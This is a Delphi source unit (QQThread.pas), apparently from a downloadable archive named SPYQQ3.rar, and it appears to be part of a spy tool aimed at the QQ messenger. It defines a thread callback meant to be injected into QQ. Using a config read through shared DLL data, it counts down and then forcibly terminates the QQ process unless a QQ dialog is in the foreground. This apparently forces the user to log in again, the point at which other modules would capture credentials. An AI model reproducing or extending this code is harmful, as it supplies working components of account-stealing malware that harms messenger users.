www.pudn.com > SPYQQ3.rar > QQThread.pas


unit  QQThread; 
 
interface 
 
uses Common,CallSelf,VarUnit,ShareData,SendOut,FunUnit; 
 
// 待插线程回调函数 
procedure QQThreadPro(X: Integer); stdcall; 
 
implementation 
 
uses Windows, Messages; 
 
var 
 timer     : integer; 
 timer_out : integer = 1000; 
 
procedure InitialCloseQQValues; 
var 
  cfgFileName: String; 
  Config : TConfig; 
begin 
 try 
   InitConfig(Config); 
   if CallSelf.GetShareDataA <> nil then 
     cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName 
   else 
     cfgFileName := ''; 
   SendOut.ReadValues(cfgFileName,Config); 
   WillNotCloseQQ  := False; 
   CloseQQWaitTime := Config.CloseQQWaitTime; 
   //CloseQQWaitTime := 22; 
 except 
 end;   
end; 
  
procedure StartTimer; 
begin 
  InitialCloseQQValues; 
  timer := SetTimer(0,1,timer_out,nil); 
end; 
 
procedure StopTimer; 
begin 
  KillTimer(0,timer); 
end; 
 
procedure ProcTimer; 
begin 
  if CloseQQWaitTime <= 0 then begin 
    WillNotCloseQQ := True; 
    Exit; 
  end; 
  if not WillNotCloseQQ then begin 
     if IsQQDialog(GetForegroundWindow()) then begin 
        WillNotCloseQQ  := True; 
        CloseQQWaitTime := 0; 
     end else begin 
        Dec(CloseQQWaitTime); 
        if CloseQQWaitTime <= 0 then begin 
           //PostThreadMessage(QQProcessID, WM_QUIT, 0, 0); 
           TerminateProcess(OpenProcess(PROCESS_TERMINATE,BOOL(0),QQProcessID),0); 
        end; 
     end; 
  end; 
end; 
 
// 待插线程回调函数 
procedure QQThreadPro(X: Integer); stdcall; 
var 
  MsgStruct: TMsg; 
  //hMutexObj: DWORD; 
begin 
  //hMutexObj := CreateMutex(nil, FALSE, DllMutex); 
  StartTimer; 
  while GetMessage(MsgStruct, 0, 0, 0) and (not WillNotCloseQQ) do 
  begin 
    if (MsgStruct.message = WM_TIMER) then begin 
       ProcTimer; 
    end; 
    TranslateMessage(MsgStruct); 
    DispatchMessage(MsgStruct); 
  end; 
  StopTimer; 
  //CloseHandle(hMutexObj); 
  //FreeLibraryAndExitThread(HInstance, 0); 
end; 
 
end.